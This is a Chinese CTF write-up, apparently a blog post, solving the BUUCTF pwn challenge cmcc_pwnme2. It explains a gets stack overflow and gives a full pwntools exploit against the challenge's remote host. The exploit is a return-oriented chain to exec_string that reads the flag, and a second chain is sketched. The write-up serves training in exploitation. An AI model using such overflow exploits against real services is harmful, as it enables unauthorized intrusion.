[BUUCTF]PWN——cmcc_pwnme2

cmcc_pwnme2

附件

步骤:

  1. 例行检查,32位,开启了nx保护
    在这里插入图片描述
  2. 本地运行一下看看大概的情况
    在这里插入图片描述
  3. 32位ida载入
    main(),10行的gets存在溢出
    在这里插入图片描述
    userfunction()
    在这里插入图片描述
    main函数里就这么多东西,看看左边的函数列表,发现了挺有意思的几个函数
    exec_string()
    在这里插入图片描述
    add_home()
    在这里插入图片描述
    add_flag()
    在这里插入图片描述
  4. 由于exec_string()函数的存在,所以想到的是利用它来读取出flag,add_home()和add_flag()应该是这题比赛时候的目录,根据之前在buu上做题的经验来说,buu的flag一般都在根目录底下,所以这题就直接利用gets的溢出,将栈的返回地址覆盖成gets,在执行完gets后的ret写上exec_string()的地址,然后传入gets参数的地址&string,之后我们手动输入‘flag’字符串,这样就读出了flag
payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

完整exp:

from pwn import *

p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

p.sendline(payload)
p.sendline('flag')
p.interactive()

在这里插入图片描述

比赛的话应该是利用add_home()和add_flag()去拼接一下flag的目录然后读取出来,应该是这样构造payload

payload=‘a’*(0x6c+4)+p32(add_home)+p32(pop_ebx)+p32(0xDEADBEEF)+p32(add_flag)+p32(pop_2个寄存器)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值